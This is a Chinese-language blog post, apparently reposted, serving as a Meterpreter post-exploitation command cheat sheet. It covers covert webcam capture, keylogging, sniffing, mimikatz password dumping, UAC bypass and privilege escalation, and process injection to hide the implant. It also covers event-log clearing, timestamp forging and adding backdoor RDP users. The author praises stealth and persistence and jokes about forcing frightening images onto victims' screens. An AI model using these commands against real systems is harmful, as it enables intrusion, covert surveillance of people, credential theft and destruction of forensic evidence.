【内网安全】——meterpreter使用攻略

news2025/4/26 21:14:53
作者名:白昼安全
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 再给我一年,好吗?

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

一、系统命令

1、基本系统命令

sessions  # 列出后台所有的会话
sessions –h 查看帮助
sessions -i <ID值>  #进入指定会话   
sessions -k  杀死指定会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程    kill <PID值> 杀死进程
idletime #查看目标机闲置时间
reboot(linux) / shutdown(windows)   #重启/关机
shell #进入目标机cmd shell

这些命令主要用于才拿到权限时,相当于对当前机器进行一个简单初步的信息收集,其中比较重要的就是ps命令,可以查看到当前的活跃进程,如下

方便我们选择一个进程进行注入,让我们的木马更隐蔽

2、uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘

但是这个功能的条件很苛刻,linux我试了很多版本,例如centos,kali这些都不行,而且我的三台win10都不行,提示需要win32版本的系统

我认为可能只有win32版本的系统才支持这个功能,我电脑上并没有win32版本的虚拟机,欢迎有条件的兄弟们下去试试,如果能把结果告诉我就更好了哈哈

3、webcam摄像头命令

webcam_list  #查看是否存在摄像头
webcam_snap   #通过摄像头拍照,在kali桌面生成拍摄后的图片文件
webcam_stream   #通过摄像头开启视,在kali桌面生成html文件,文件内容为实时视频

使用的时候首先要使用webcam_list查看当前机器是否有摄像头,有摄像头才能进行拍照,视频等操作

4、execute执行文件

execute #在目标机中执行文件

例:execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

可以去执行目标的可执行文件

注意:如果我们想实现打开目标文件上的文本文件,例如目标桌面上有一个a.txt文件,此时我们时system权限,直接在shell命令下执行a.txt会报错,因为system权限是没有会话的,需要降低为普通用户权限,再进入shell命令下执行a.txt,此时目标电脑上才会直接打开a.txt文件

5、migrate进程迁移

getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中,也就是进程注入
kill <pid值>   #杀死指定进程

进程注入也就是将木马绑定到进程中,此时就查不出来木马文件,而且注入之后原来的木马程序就算被删除了也没关系,只要进程还在,我们的权限就一直在,非常之好用

6、clearav清除日志

clearav  #清除windows中的应用程序日志、系统日志、安全日志

一般痕迹清理时用这个就够了,效果还可以

二、文件系统命令

1、基本文件系统命令

getwd 或者pwd # 查看当前工作目录  
ls
cd
search -f "filename"       # 搜索指定文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt  # 查看文件内容
upload /tmp/hack.txt C:\\lltest  # 上传文件到目标机上,第一个参数是要上传的文件路径,第二个是目标
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上,第一个是要下载位置,第二个是存放位置
edit c:\\1.txt #编辑或创建文件  没有的话,会新建文件
rm C:\\lltest\\hack.txt  #删除指定文件
mkdir lltest2  #只能在当前目录下创建文件夹
rmdir lltest2  #只能删除当前目录下文件夹
getlwd   或者 lpwd   #操作攻击者主机 查看当前目录
lcd /tmp   #操作攻击者主机 切换目录位置

这个一种比较帅的方法是上传一些美好(kongbu)的图片用upload传到它的桌面,在进入shell权限下给他打开,就能实现控制它电脑打开美好(kongbu)的图片,给他个惊喜

2、timestomp伪造时间戳

timestomp C:// -h   #查看帮助
timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
时间戳是自 1970 年 1 月 1 日(00:00:00 )至当前时间的总秒数。它也被称为 Unix 时间戳(Unix Timestamp),Unix时间戳不仅被使用在Unix系统、类Unix系统中(比如 Linux系统),也在许多其他 操作系统中被广泛采用。

主要是可以查一手文件的创建或者说修改时间

三、网络命令

1、基本网络命令

ipconfig(windows)/ifconfig(linux)
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由

这些命令基本是做内网渗透的时候用的比较多,一般是进入目标机器后,探测目标所处的一个网络环境,公司,学校之类的环境

2、portfwd端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

这样就安全多了,不会出现传输过程中造成的安全隐患

还有一种想法就是各种外连,比如ssh,ftp之类的,例如把我们已经控制好的linux的22端口转发到本地的6666端口,再使用linux的远程连接工具rdesktop连接本地的6666端口就可以把实现远程登录

3、autoroute添加路由

run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

路由信息设置一般配合着msf自己的代理设置模板auxiliary/server/socks_proxy,进行内网的一个攻占据点的操作,我的这篇打靶博客文章中也有用到这种手法,有兴趣的同学们可以看看,链接如下

http://t.csdn.cn/g3KV3

然后还可以利用arp_scanner、portscan等模块进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

四、信息收集

信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

五、提权手法

1、getsystem提权

getsystem

getsystem工作原理

①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

③Windows服务已启动,导致与命名管道建立连接。

④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2、bypassuac

内置多个bypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如何使用bypassuac.rb脚本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

3、内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

六、kiwi抓取密码

mimikatz模块用于抓取密码,但是新版本中mimikatz模块已经合并为kiwi模块;使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的全部命令:

load kiwi    #help mimikatz 查看帮助

例如:kiwi_cmd sekurlsa::logonpasswords

七、远程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接

这个功能怎么说呢?非常帅,而且很好用

八、开启rdp&添加用户

1、getgui命令

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

getgui 这个命令我只能说捞得一,经常会报系统不推荐,但有的时候也能用,具体的使用条件我也没研究清楚,如果使用错误报错可以试试使用下面这个

run post/windows/manage/enable_rdp

getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆,也比较鸡肋

2、enable_rdp脚本

run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户,名为www2,密为123456
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

这个就是上面的getgui命令的替代品,会更好用一点

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

九、键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

这个命令也很有意思,目前我测试了一下,win10没有问题,x64位的linux系统不支持

注意:这里的导出键盘记录,需要在结束键盘记录前使用,结束之后就无法导出键盘记录了

十、sniffer抓包

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/192292.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

点云的降采样

1. 点云深度学习中的新下采样方法 (CSDN) 现在比较常见的下采样算法有&#xff1a;farthest point sampling(PointNet&#xff0c;ShellNet)、random sampling(RandLA-Net)、grid sampling(KPConv&#xff0c;Grid-GCN)等。它们各有特点&#xff1a; farthest point sampling…

JUC并发编程之LinkedBlockingQueue的底层原理

作者简介&#xff1a;专注于研究Linux内核、Hotspot虚拟机、汇编语言、JDK源码、各大中间件源码等等喜欢的话&#xff0c;可以三连关注~LinkedBlockingQueue介绍在JUC包下关于线程安全的队列实现有很多&#xff0c;那么此篇文章讲解LinkedBlockingQueue的实现原理&#xff0c;相…

LeetCode 刷题系列 -- 1026. 节点与其祖先之间的最大差值

给定二叉树的根节点 root&#xff0c;找出存在于 不同 节点 A 和 B 之间的最大值 V&#xff0c;其中 V |A.val - B.val|&#xff0c;且 A 是 B 的祖先。&#xff08;如果 A 的任何子节点之一为 B&#xff0c;或者 A 的任何子节点是 B 的祖先&#xff0c;那么我们认为 A 是 B 的…

The Social Life of Autonomous Cars-自动驾驶汽车与日常生活

目录 自动驾驶汽车与日常生活 Abstract REPURPOSING ONLINE VIDEOS THE SOCIAL ROAD SEEING A GAP AS JUST A GAP SOMETIMES IT’S GOOD TO BE A CREEP THE UNCANNY VALLEY OF AUTONOMOUS CARS References 自动驾驶汽车与日常生活 作者Barry Brown时间06 February 201…

【智慧电力巡检】基于EasyCVR视频技术构建远程监控综合管理平台

一、方案背景电力行业和人民的生活、生产息息相关&#xff0c;一旦电力设施遭遇破坏或工作失误&#xff0c;就会造成大面积停电&#xff0c;其后果不堪设想&#xff0c;尤其是2003年美加“8.14”和2005年莫斯科“5.25”这两起大面积停电事故给我们敲响了警钟。随着电力行业的发…

zookeeper源码分享六 ---- 事物日志

二进制格式设计思想 在二进制格式设计中&#xff0c;其实和json的格式设计类似&#xff0c;也是有套路的。 设计要存储的内容(内容尽可能少&#xff0c;能用数字表示&#xff0c;不用字符串表示)。这些内容的前后顺序&#xff0c;读写都是按照这个顺序来的。 比如&#xff1…

来看看这几个办公技巧吧

技巧一&#xff1a;重复运行命令 当我们需要将一段中的不同单词加粗时&#xff0c;使用替换功能可能不是特别方便。这时可以使用万能的【F4】键进行重复操作。首先选中一个需要加粗的字&#xff0c;点击【加粗】设置完成字体的加粗&#xff1b;然后&#xff0c;选择另一个文本&…

1、python框架selenium

分层的自动化测试 什么样的产品适合做自动化测试&#xff1f; 功能成熟&#xff08;需求变动较小&#xff09; 产品更新维护周期长 项目进度不太大 比较频繁的回归测试 软件开发比较规范&#xff0c;具有可测试性 可以脚本具有可复用性 selenium 技术&#xff1a; 元素定位的…

[基础语法] python语法之列表、判断、循环例子

文章目录购物车案例已发布&#xff1a;整体框架打印商品列表将商品加入购物车打印购物车、计算总金额完整代码另外说明购物车案例 已发布&#xff1a; python判断语句python循环语句python之列表list购物车案例后续暂时不更新&#xff0c;有想要的部分&#xff0c;可以后台留…

11、Servlet——综合案例(Servlet+JDBC):管理员登录

目录 1、在MySQL中新建一个servletdatabase数据库&#xff0c;创建表admin 2、在web中创建登录页面login.html 3、在web中创建CSS文件夹&#xff0c;在CSS文件夹中创建login.css 4、在web下新建注册页面register.html 5、在CSS文件夹中新建register.css 6、在CSS文件夹下新…

文件包含漏洞

数据来源 本文仅用于信息安全的学习&#xff0c;请遵守相关法律法规&#xff0c;严禁用于非法途径。若观众因此作出任何危害网络安全的行为&#xff0c;后果自负&#xff0c;与本人无关。 01 文件包含漏洞概述 简单例子 PHP中的文件包含函数 02 文件包含漏洞类型及利用 本地文…

基于MATLAB的车牌识别系统设计

基于MATLAB的车牌识别系统设计 摘要 随着公路逐渐普及&#xff0c;我国的公路交通事业发展迅速&#xff0c;所以人工管理方式已经不能满着实际的需要&#xff0c;微电子、通信和计算机技术在交通领域的应用极大地提高了交通管理效率。汽车牌照的自动识别技术已经得到了广泛应…

弱网测试利器-Charles工具实战

一&#xff1a;弱网测试要点 二&#xff1a;利用抓包工具charles进行弱网设置&#xff0c;适用PC端和移动端&#xff08;IOS&#xff0f;Android&#xff09; 1、以charles 4.5.6版本为例&#xff0c;打开Proxy->Throttle Settings 2、打开Throttle Settings&#xff0c;界…

实战详细讲解Qt插件plugin的编写与用法

目录 1.Qt的插件是什么&#xff1f;优点是什么&#xff1f; 2.实战项目需求 3. 程序设计分析 4.Qt插件的编写 Q_DECLARE_INTERFACE&#xff08;类名&#xff0c;标识符&#xff09; Q_INTERFACES 5.插件的调用 总结感言&#xff1a; 1.Qt的插件是什么&#xff1f;优点是…

let/const相关的内容(一)

1.let/const的基本使用 在ES5中我们声明变量都是使用的var关键字(variable的缩写)&#xff0c;从ES6开始新增了两个关键字可以声明变量&#xff1a;let、const。 let和const在其他编程语言中都是有的&#xff0c;所以并不是新鲜的关键字&#xff0c;但是他们确实给JS带来了不一…

动态规划设计LeetCode 300. 最长递增子序列 354. 俄罗斯套娃信封问题

&#x1f308;&#x1f308;&#x1f604;&#x1f604; 欢迎来到茶色岛独家岛屿&#xff0c;本期将为大家揭晓LeetCode 300. 最长递增子序列 354. 俄罗斯套娃信封问题&#xff0c;做好准备了么&#xff0c;那么开始吧。 &#x1f332;&#x1f332;&#x1f434;&#x1f434…

【openGauss】把应用开发中的设置客户端字符编码往细了说

前言 早前写过两篇有关Oracle字符集的文章 【ORACLE】谈一谈Oracle数据库使用的字符集,不仅仅是乱码 【ORACLE】谈一谈NVARCHAR2、NCHAR、NCLOB等数据类型和国家字符集 基本说明了 ”数据字符编码“、”客户端字符编码“、”数据库字符编码“三者的关系&#xff0c;这些关系&a…

磨金石教育摄影技能干货分享|年味就是幸福圆满的味道

时光荏苒&#xff0c;时代变迁。以前是古街古巷&#xff0c;现在是高楼大厦。以前的老街&#xff0c;灯笼满街&#xff0c;烟火气十足。现在的城市商业街中霓虹灯可以展示出各种新年的影像。无论时代如何变迁&#xff0c;无论时光走了多远&#xff0c;我们对春节的期待从未改变…

吴恩达机器学习(二)——机器学习之监督模型之回归模型之线性回归模型

y-hat一般指的就是预测值 线性回归模型实例 构建模型 我们有一个房子的大小size&#xff0c;得到房屋价格&#xff08;price&#xff09;&#xff0c;通过这两个常数就可计算一个输入和输出的函数关系。 f w&#xff0c;b(x(i)) wx(i) b i指的是第几个训练数据 评估模型——…

【教程】browsermob-proxy 基于Java的代理服务 配合selenium使用

【教程】browsermob-proxy 基于Java的代理服务 配合selenium使用 配置依赖 <!-- 代理 配合 selenium进行抓包修改等 --><dependency><groupId>net.lightbody.bmp</groupId><artifactId>browsermob-core</artifactId><version>2.1.5&…